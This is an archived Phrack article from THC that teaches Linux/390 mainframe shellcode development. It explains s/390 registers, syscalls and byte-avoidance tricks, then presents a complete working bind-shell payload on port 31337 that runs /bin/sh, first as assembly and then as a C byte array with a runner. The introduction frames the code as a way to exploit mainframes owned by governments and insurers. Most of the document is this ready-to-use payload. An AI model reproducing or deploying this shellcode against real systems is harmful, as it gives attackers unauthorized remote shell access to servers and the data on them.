initial push of all stuff :)
[oweals/thc-archive.git] / Papers / linux-390-shellcode-devel.txt
1                              ==Phrack Inc.==
2
3                Volume 0x0b, Issue 0x3b, Phile #0x0d of 0x12
4
5 |=----------------=[ Linux/390 shellcode development ]=------------------=|
6 |=-----------------------------------------------------------------------=|
7 |=-------------=[ johnny cyberpunk <jcyberpunk@thc.org> ]=---------------=|
8
9
10 --[ Contents
11
12   1 - Introduction
13
14   2 - History and facts
15     2.1 - Registers
16     2.2 - Instruction set
17     2.3 - Syscalls
18     2.4 - The native code
19     2.5 - Avoiding the evil 0x00 and 0x0a
20     2.6 - The final code
21
22   3 - References
23
24
25
26 --[ 1 - Introduction
27
28     Since Linux/390 has been released by IBM more and more b0xes of this
29 type can be found in the wild. A good reason for a hacker to get a closer
30 look on how vulnerable services can be exploited on a mainframe. Remember,
31 who are the owners of mainframes ? Yeah, big computer centres, insurances
32 or goverments. Well, in this article I'll uncover how to write the bad code
33 (aka shellcode). The bind-shellcode at the end should be taken as an 
34 example. Other shellcode and exploit against some known vulnerabilities can
35 be found on a seperate link (see References) in the next few weeks.
36
37     Suggestions, improvements or flames can be send directly to the email
38 address posted in the header of this article. My gpg-key can be found at
39 the document bottom.
40
41
42 --[ 2 - History and facts
43
44     In late 1998 a small team of IBM developers from Boeblingen/Germany
45 started to port Linux to mainframes. One year later in December 1999 the
46 first version has been published for the IBM s/390. There are two versions
47 available:
48
49     A 32 bit version, referred to as Linux on s/390 and a 64 bit version, 
50 referred to as Linux on zSeries. Supported distros are Suse, Redhat and
51 TurboLinux. Linux for s/390 is based on the kernel 2.2, the zSeries is
52 based on kernel 2.4. There are different ways to run Linux:
53
54 Native       - Linux runs on the entire machine, with no other OS
55 LPAR         - Logical PARtition): The hardware can be logically
56                partitioned, for example, one LPAR hosts a VM/VSE
57                environment and another LPAR hosts Linux. 
58 VM/ESA Guest - means that a customer can also run Linux in a virtual
59                machine
60
61 The binaries are in ELF format (big endianess).
62
63
64
65
66 ----[ 2.1 - Registers
67
68     For our shellcode development we really don't need the whole bunch of
69 registers the s/390 or zSeries has. The most interesting for us are the
70 registers %r0-%r15. Anyway I'll list some others here for to get an
71 overview.
72
73 General propose registers        : 
74         %r0-%r15 or gpr0-gpr15 are used for addressing and arithmetic
75         
76 Control registers                : 
77         cr0-cr15 are only used by kernel for irq control, memory
78         management, debugging control ...
79         
80 Access registers                 :
81         ar0-ar15 are normally not used by programs, but good for 
82         temporary storage
83         
84 Floating point registers        :
85         fp0-fp15 are IEEE and HFP floating ( Linux only uses IEEE )
86         
87 PSW ( Programm Status Word )        :
88         is the most important register and serves the roles of a program
89         counter, memory space designator and condition code register.
90         For those who wanna know more about this register, should take
91         a closer look on the references at the bottom.
92         
93
94
95         
96 ----[ 2.2 - Instruction set
97
98 Next I'll show you some useful instructions we will need, while developing
99 our shellcode.
100
101
102 Instruction                        Example
103 ---------------------------------------------------------------------------
104 basr (branch and save)        %r1,0               # save value 0 to %r1
105 lhi  (load h/word immediate)  lhi %r4,2           # load value 2 into %r4
106 la   (load address)           la %r3,120(%r15)    # load address from
107                                                   # %r15+120 into %r3
108 lr   (load register)          lr %r4,%r9          # load value from %r9
109                                                   # into %r4
110 stc  (store character)        stc %r6,120(%r15)   # store 1 character from
111                                                   # %r6 to %r15+120
112 sth  (store halfword)         sth %r3,122(%r15)   # store 2 bytes from
113                                                   # %r3 to %r15+122
114 ar   (add)                    ar %r6,%r10         # add value in %r10 ->%r6
115 xr   (exclusive or)           xr %r2,%r2          # 0x00 trick :)
116 svc  (service call)           svc 1               # exit
117
118
119
120
121 ----[ 2.3 - Syscalls
122
123     On Linux for s/390 or zSeries syscalls are done by using the
124 instruction SVC with it's opcode 0x0a ! This is no good message for
125 shellcoders, coz 0x0a is a special character in a lot of services. But
126 before i start explaining how we can avoid using this call let's have a
127 look on how our OS is using the syscalls.
128
129     The first four parameters of a syscall are delivered to the registers
130 %r2-%r5 and the resultcode can be found in %r2 after the SVC call.
131
132 Example of an execve call:
133
134         basr      %r1,0
135 base:
136         la        %r2,exec-base(%r1)
137         la        %r3,arg-base(%r1)
138         la        %r4,tonull-base(%r1)
139         svc     11
140
141 exec:
142         .string  "/bin//sh"
143 arg:        
144         .long   exec 
145 tonull:
146         .long   0x0
147         
148
149     A special case is the SVC call 102 (SYS_SOCKET). First we have to feed
150 the register %r2 with the desired function ( socket, bind, listen, accept, 
151 ....) and %r3 points to a list of parameters this function needs. Every
152 parameter in this list has its own u_long value.
153
154 And again an example of a socket() call :
155
156         lhi        %r2,2                # domain
157         lhi        %r3,1                # type
158         xr         %r4,%r4              # protocol
159         stm        %r2,%r4,128(%r15)    # store %r2 - %r4
160         lhi        %r2,1                # function socket()
161         la         %r3,128(%r15)        # pointer to the API values
162         svc        102                  # SOCKETCALL
163         lr         %r7,%r2              # save filedescriptor to %r7
164
165         
166
167
168         
169 ----[ 2.4 - The native code
170
171 So now, here is a sample of a complete portbindshell in native style :
172
173         .globl _start
174         
175 _start:
176         basr       %r1,0                     # our base-address
177 base:
178
179         lhi        %r2,2                     # AF_INET
180         sth        %r2,120(%r15)
181         lhi        %r3,31337                 # port
182         sth        %r3,122(%r15)
183         xr         %r4,%r4                   # INADDR_ANY
184         st         %r4,124(%r15)             # 120-127 is struct sockaddr *
185         lhi        %r3,1                     # SOCK_STREAM
186         stm        %r2,%r4,128(%r15)         # store %r2-%r4, our API values
187         lhi        %r2,1                     # SOCKET_socket
188         la         %r3,128(%r15)             # pointer to the API values
189         svc        102                       # SOCKETCALL 
190         lr         %r7,%r2                   # save socket fd to %r7
191         la         %r3,120(%r15)             # pointer to struct sockaddr *
192         lhi        %r9,16                    # save value 16 to %r9
193         lr         %r4,%r9                   # sizeof address
194         stm        %r2,%r4,128(%r15)         # store %r2-%r4, our API values
195         lhi        %r2,2                     # SOCKET_bind
196         la         %r3,128(%r15)             # pointer to the API values
197         svc        102                       # SOCKETCALL
198         lr         %r2,%r7                   # get saved socket fd
199         lhi        %r3,1                     # MAXNUMBER
200         stm        %r2,%r3,128(%r15)         # store %r2-%r3, our API values
201         lhi        %r2,4                     # SOCKET_listen
202         la         %r3,128(%r15)             # pointer to the API values
203         svc        102                       # SOCKETCALL
204         lr         %r2,%r7                   # get saved socket fd
205         la         %r3,120(%r15)             # pointer to struct sockaddr *
206         stm        %r2,%r3,128(%r15)         # store %r2-%r3,our API values
207         st         %r9,136(%r15)             # %r9 = 16, this case: fromlen
208         lhi        %r2,5                     # SOCKET_accept
209         la         %r3,128(%r15)             # pointer to the API values
210         svc        102                       # SOCKETCALL
211         xr         %r3,%r3                   # the following shit
212         svc        63                        # duplicates stdin, stdout
213         ahi        %r3,1                     # stderr
214         svc        63                        # DUP2
215         ahi        %r3,1                        
216         svc        63                        
217         la         %r2,exec-base(%r1)        # point to /bin/sh
218         la         %r3,arg-base(%r1)         # points to address of /bin/sh
219         la         %r4,tonull-base(%r1)      # point to envp value
220         svc        11                        # execve
221         slr        %r2,%r2                        
222         svc        1                         # exit
223         
224 exec:
225         .string  "/bin//sh"
226 arg:
227         .long   exec
228 tonull:
229         .long   0x0                
230
231
232
233
234 ----[ 2.5 - Avoiding 0x00 and 0x0a
235
236     To get a clean working shellcode we have two things to bypass. First
237 avoiding 0x00 and second avoiding 0x0a.
238
239 Here is our first case :
240
241 a7 28 00 02             lhi     %r2,02
242
243 And here is my solution :
244
245 a7 a8 fb b4             lhi     %r10,-1100
246 a7 28 04 4e             lhi     %r2,1102
247 1a 2a                   ar      %r2,%r10
248
249     I statically define a value -1100 in %r10 to use it multiple times.
250 After that i load my wanted value plus 1100 and in the next instruction
251 the subtraction of 1102-1100 gives me the real value. Quite easy.
252
253 To get around the next problem we have to use selfmodifing code:
254
255 svc:
256         .long 0x0b6607fe          <---- will be svc 66, br %r14 after
257                                         code modification
258
259     Look at the first byte, it has the value 0x0b at the moment. The
260 following code changes this value to 0x0a:
261
262 basr      %r1,0                   # our base-address
263 la        %r9,svc-base(%r1)       # load address of svc subroutine
264 lhi       %r6,1110                # selfmodifing
265 lhi       %r10,-1100              # code is used 
266 ar        %r6,%r10                # 1110 - 1100 = \x0a opcode SVC
267 stc       %r6,svc-base(%r1)       # store svc opcode
268
269 Finally the modified code looks as follows :
270
271 0a 66                svc 66
272 07 fe                br %r14
273
274 To branch to this subroutine we use the following command :
275
276 basr                 %r14,%r9     # branch to subroutine SVC 102
277
278     The Register %r9 has the address of the subroutine and %r14 contains
279 the address where to jump back.
280
281
282
283
284 ----[ 2.6 - The final code
285
286 Finally we made it, our shellcode is ready for a first test:
287
288         .globl _start
289         
290 _start:
291         basr      %r1,0                   # our base-address
292 base:
293         la        %r9,svc-base(%r1)       # load address of svc subroutine
294         lhi       %r6,1110                # selfmodifing
295         lhi       %r10,-1100              # code is used 
296         ar        %r6,%r10                # 1110 - 1100 = \x0a opcode SVC
297         stc       %r6,svc-base(%r1)       # store svc opcode 
298         lhi       %r2,1102                # portbind code always uses
299         ar        %r2,%r10                # real value-1100 (here AF_INET)
300         sth       %r2,120(%r15)
301         lhi       %r3,31337               # port
302         sth       %r3,122(%r15)
303         xr        %r4,%r4                 # INADDR_ANY
304         st        %r4,124(%r15)           # 120-127 is struct sockaddr *
305         lhi       %r3,1101                # SOCK_STREAM
306         ar        %r3,%r10
307         stm       %r2,%r4,128(%r15)       # store %r2-%r4, our API values
308         lhi       %r2,1101                # SOCKET_socket
309         ar        %r2,%r10
310         la        %r3,128(%r15)           # pointer to the API values
311         basr      %r14,%r9                # branch to subroutine SVC 102
312         lr        %r7,%r2                 # save socket fd to %r7
313         la        %r3,120(%r15)           # pointer to struct sockaddr *
314         lhi       %r8,1116                
315         ar        %r8,%r10                # value 16 is stored in %r8
316         lr        %r4,%r8                 # size of address
317         stm       %r2,%r4,128(%r15)       # store %r2-%r4, our API values
318         lhi       %r2,1102                # SOCKET_bind
319         ar        %r2,%r10
320         la        %r3,128(%r15)           # pointer to the API values
321         basr      %r14,%r9                # branch to subroutine SVC 102
322         lr        %r2,%r7                 # get saved socket fd
323         lhi       %r3,1101                # MAXNUMBER
324         ar        %r3,%r10
325         stm       %r2,%r3,128(%r15)       # store %r2-%r3, our API values
326         lhi       %r2,1104                # SOCKET_listen
327         ar        %r2,%r10
328         la        %r3,128(%r15)           # pointer to the API values
329         basr      %r14,%r9                # branch to subroutine SVC 102
330         lr        %r2,%r7                 # get saved socket fd
331         la        %r3,120(%r15)           # pointer to struct sockaddr *
332         stm       %r2,%r3,128(%r15)       # store %r2-%r3, our API values
333         st        %r8,136(%r15)           # %r8 = 16, in this case fromlen
334         lhi       %r2,1105                # SOCKET_accept
335         ar        %r2,%r10
336         la        %r3,128(%r15)           # pointer to the API values
337         basr      %r14,%r9                # branch to subroutine SVC 102
338         lhi       %r6,1163                # initiate SVC 63 = DUP2
339         ar        %r6,%r10
340         stc       %r6,svc+1-base(%r1)        # modify subroutine to SVC 63
341         lhi       %r3,1102                # the following shit
342         ar        %r3,%r10                # duplicates
343         basr      %r14,%r9                # stdin, stdout
344         ahi       %r3,-1                        # stderr
345         basr      %r14,%r9                # SVC 63 = DUP2
346         ahi       %r3,-1
347         basr      %r14,%r9
348         lhi       %r6,1111                # initiate SVC 11 = execve
349         ar        %r6,%r10
350         stc       %r6,svc+1-base(%r1)     # modify subroutine to SVC 11
351         la        %r2,exec-base(%r1)      # point to /bin/sh
352         st        %r2,exec+8-base(%r1)    # save address to /bin/sh
353         la        %r3,exec+8-base(%r1)    # points to address of /bin/sh
354         xr        %r4,%r4                 # 0x00 is envp
355         stc       %r4,exec+7-base(%r1)    # fix last byte /bin/sh\\ to 0x00
356         st        %r4,exec+12-base(%r1)   # store 0x00 value for envp
357         la        %r4,exec+12-base(%r1)   # point to envp value
358         basr      %r14,%r9                # branch to subroutine SVC 11
359 svc:
360         .long 0x0b6607fe                  # our subroutine SVC n + br %r14
361 exec:
362         .string  "/bin/sh\\"
363         
364
365 In a C-code environment it looks like this :
366
367 char shellcode[]=
368 "\x0d\x10"              /* basr    %r1,%r0                              */
369 "\x41\x90\x10\xd4"      /* la      %r9,212(%r1)                         */
370 "\xa7\x68\x04\x56"      /* lhi     %r6,1110                             */
371 "\xa7\xa8\xfb\xb4"      /* lhi     %r10,-1100                           */
372 "\x1a\x6a"              /* ar      %r6,%r10                             */
373 "\x42\x60\x10\xd4"      /* stc     %r6,212(%r1)                         */
374 "\xa7\x28\x04\x4e"      /* lhi     %r2,1102                             */
375 "\x1a\x2a"              /* ar      %r2,%r10                             */
376 "\x40\x20\xf0\x78"      /* sth     %r2,120(%r15)                        */
377 "\xa7\x38\x7a\x69"      /* lhi     %r3,31337                            */
378 "\x40\x30\xf0\x7a"      /* sth     %r3,122(%r15)                        */
379 "\x17\x44"              /* xr      %r4,%r4                              */
380 "\x50\x40\xf0\x7c"      /* st      %r4,124(%r15)                        */
381 "\xa7\x38\x04\x4d"      /* lhi     %r3,1101                             */
382 "\x1a\x3a"              /* ar      %r3,%r10                             */
383 "\x90\x24\xf0\x80"      /* stm     %r2,%r4,128(%r15)                    */
384 "\xa7\x28\x04\x4d"      /* lhi     %r2,1101                             */
385 "\x1a\x2a"              /* ar      %r2,%r10                             */
386 "\x41\x30\xf0\x80"      /* la      %r3,128(%r15)                        */
387 "\x0d\xe9"              /* basr    %r14,%r9                             */
388 "\x18\x72"              /* lr      %r7,%r2                              */
389 "\x41\x30\xf0\x78"      /* la      %r3,120(%r15)                        */
390 "\xa7\x88\x04\x5c"      /* lhi     %r8,1116                             */
391 "\x1a\x8a"              /* ar      %r8,%r10                             */
392 "\x18\x48"              /* lr      %r4,%r8                              */
393 "\x90\x24\xf0\x80"      /* stm     %r2,%r4,128(%r15)                    */
394 "\xa7\x28\x04\x4e"      /* lhi     %r2,1102                             */
395 "\x1a\x2a"              /* ar      %r2,%r10                             */
396 "\x41\x30\xf0\x80"      /* la      %r3,128(%r15)                        */
397 "\x0d\xe9"              /* basr    %r14,%r9                             */
398 "\x18\x27"              /* lr      %r2,%r7                              */
399 "\xa7\x38\x04\x4d"      /* lhi     %r3,1101                             */
400 "\x1a\x3a"              /* ar      %r3,%r10                             */
401 "\x90\x23\xf0\x80"      /* stm     %r2,%r3,128(%r15)                    */
402 "\xa7\x28\x04\x50"      /* lhi     %r2,1104                             */
403 "\x1a\x2a"              /* ar      %r2,%r10                             */
404 "\x41\x30\xf0\x80"      /* la      %r3,128(%r15)                        */
405 "\x0d\xe9"              /* basr    %r14,%r9                             */
406 "\x18\x27"              /* lr      %r2,%r7                              */
407 "\x41\x30\xf0\x78"      /* la      %r3,120(%r15)                        */
408 "\x90\x23\xf0\x80"      /* stm     %r2,%r3,128(%r15)                    */
409 "\x50\x80\xf0\x88"      /* st      %r8,136(%r15)                        */
410 "\xa7\x28\x04\x51"      /* lhi     %r2,1105                             */
411 "\x1a\x2a"              /* ar      %r2,%r10                             */
412 "\x41\x30\xf0\x80"      /* la      %r3,128(%r15)                        */
413 "\x0d\xe9"              /* basr    %r14,%r9                             */
414 "\xa7\x68\x04\x8b"      /* lhi     %r6,1163                             */
415 "\x1a\x6a"              /* ar      %r6,%r10                             */
416 "\x42\x60\x10\xd5"      /* stc     %r6,213(%r1)                         */
417 "\xa7\x38\x04\x4e"      /* lhi     %r3,1102                             */
418 "\x1a\x3a"              /* ar      %r3,%r10                             */
419 "\x0d\xe9"              /* basr    %r14,%r9                             */
420 "\xa7\x3a\xff\xff"      /* ahi     %r3,-1                               */
421 "\x0d\xe9"              /* basr    %r14,%r9                             */
422 "\xa7\x3a\xff\xff"      /* ahi     %r3,-1                               */
423 "\x0d\xe9"              /* basr    %r14,%r9                             */
424 "\xa7\x68\x04\x57"      /* lhi     %r6,1111                             */
425 "\x1a\x6a"              /* ar      %r6,%r10                             */
426 "\x42\x60\x10\xd5"      /* stc     %r6,213(%r1)                         */
427 "\x41\x20\x10\xd8"      /* la      %r2,216(%r1)                         */
428 "\x50\x20\x10\xe0"      /* st      %r2,224(%r1)                         */
429 "\x41\x30\x10\xe0"      /* la      %r3,224(%r1)                         */
430 "\x17\x44"              /* xr      %r4,%r4                              */
431 "\x42\x40\x10\xdf"      /* stc     %r4,223(%r1)                         */
432 "\x50\x40\x10\xe4"      /* st      %r4,228(%r1)                         */
433 "\x41\x40\x10\xe4"      /* la      %r4,228(%r1)                         */
434 "\x0d\xe9"              /* basr    %r14,%r9                             */
435 "\x0b\x66"              /* svc     102          <--- after modification */
436 "\x07\xfe"              /* br      %r14                                 */
437 "\x2f\x62\x69\x6e"      /* /bin                                         */
438 "\x2f\x73\x68\x5c";     /* /sh\                                         */
439
440 main()
441 {
442  void (*z)()=(void*)shellcode;
443  z();
444 }
445
446
447
448
449 --[ 3 - References:
450
451
452 [1] z/Architecture Principles of Operation (SA22-7832-00) 
453     http://publibz.boulder.ibm.com/epubs/pdf/dz9zr000.pdf
454
455 [2] Linux for S/390 ( SG24-4987-00 )
456     http://www.redbooks.ibm.com/pubs/pdfs/redbooks/sg244987.pdf
457
458 [3] LINUX for S/390 ELF Application Binary Interface Supplement
459     http://oss.software.ibm.com/linux390/docu/l390abi0.pdf
460
461 [4] Example exploits
462     http://www.thc.org/misc/sploits/
463
464 -----BEGIN PGP PUBLIC KEY BLOCK-----
465 Version: GnuPG v1.0.6 (GNU/Linux)
466 Comment: Weitere Infos: siehe http://www.gnupg.org
467
468 mQGiBDzw5yMRBACGJ1o25Bfbb6mBkP2+qwd0eCTvCmC5uJGdXWOW8BbQwDHkoO4h
469 sdouA+0JdlTFIQriCZhZWbspNsWEpXPOAW8vG3fSqIUqiDe6Aj21h+BnW0WEqx9t
470 8TkooEVS3SL34wiDCig3cQtmvAIj0C9g4pj5B/QwHJYrWNFoAxc2SW1lXwCg8Wk9
471 LawvHW+Xqnc6n/w5Oo8IpNsD/2Lp4fvQFiTvN22Jd63nCQ75A64fB7mH7ZUsVPYy
472 BctYXM4GhcHx7zfOhAbJQNWoNmYGiftVr9UvO9GSnG+Y9jq6I16qOn7T7dIZUEpL
473 F5FevEFTyrtDGYmBhGv9hwtbz3CI9n9gpZxz1xYTbDHxkVIiTMlcNR3GIJRPfo5B
474 a7u4A/9ncKqRx2HbRkaj39zugC6Y28z9lSimGzu7PTVw3bxDbObgi4CyHcjnHe+j
475 DResuKGgdyEf+d07ofbFEOdQjgaDx1mmswS4pcILKOyRdQMtdbgSdyPlJw5KGHLX
476 G0hrHV/Uhgok3W6nC43ZvPWbd3HVfOIU8jDTRgWaRDjGc45dtbQkam9obm55IGN5
477 YmVycHVuayA8am9obmN5YnBrQGdteC5uZXQ+iFcEExECABcFAjzw5yMFCwcKAwQD
478 FQMCAxYCAQIXgAAKCRD3c5EGutq/jMW7AJ9OSmrB+0vMgPfVOT4edV7C++RNHwCf
479 byT/qKeSawxasF8g4HeX33fSPe25Ag0EPPDnrRAIALdcTn8E2Z8Z4Ua4p8fjwXNO
480 iP6GOANUN5XLpmscv9v5ErPfK+NM2ARb7O7rQJfLkmKV8voPNj4lPUUyltGeOhzj
481 t86I5p68RRSvO5JKTW+riZamaD8lB84YqLzmt9OuzuOeAJCq3GuQtPMyrNuOkPL9
482 nX51EgnLnYaUYAkysAhYLhlrye/3maNdjtn2T63MoJauAoB4TpKvegsGsf1pA5mj
483 y9fuG6zGnWt8XpVSdD2W3PUJB+Q7J3On35byebIKiuGsti6Y5L0ZSDlW2rveZp9g
484 eRSQz06j+mxAooTUMBBJwMmXjHm5nTgr5OX/8mpb+I73MGhtssRr+JW+EWSLQN8A
485 AwcH/iqRCMmPB/yiMhFrEPUMNBsZOJ+VK3PnUNLbAPtHz7E2ZmEpTgdvLR3tjHTC
486 vZO6k40H1BkodmdFkCHEwzhWwe8P3a+wgW2LnPCM6tfPEfp9kPXD43UlTLWLL4RF
487 cPmyrs45B2uht7aE3Pe0SgbsnWAej87Stwb+ezOmngmrRvZKnYREVR1RHRRsH3l6
488 C4rexD3uHjFNdEXieW97xHG71YpOVDX6slCK2SumfxzQAEZC2n7/DqwPd6Z/abAf
489 Ay9WmTpqBFd2FApUtZ1h8cpS6MYb6A5R2BDJQl1hN2pQFNzIh8chjVdQc67dKiay
490 R/g0Epg0thiVAecaloCJlJE8b3OIRgQYEQIABgUCPPDnrQAKCRD3c5EGutq/jNuP
491 AJ979IDls926vsxlhRA5Y8G0hLyDAwCgo8eWQWI7Y+QVfwBG8XCzei4oAiI=
492 =2B7h
493 -----END PGP PUBLIC KEY BLOCK-----
494
495
496 |=[ EOF ]=---------------------------------------------------------------=|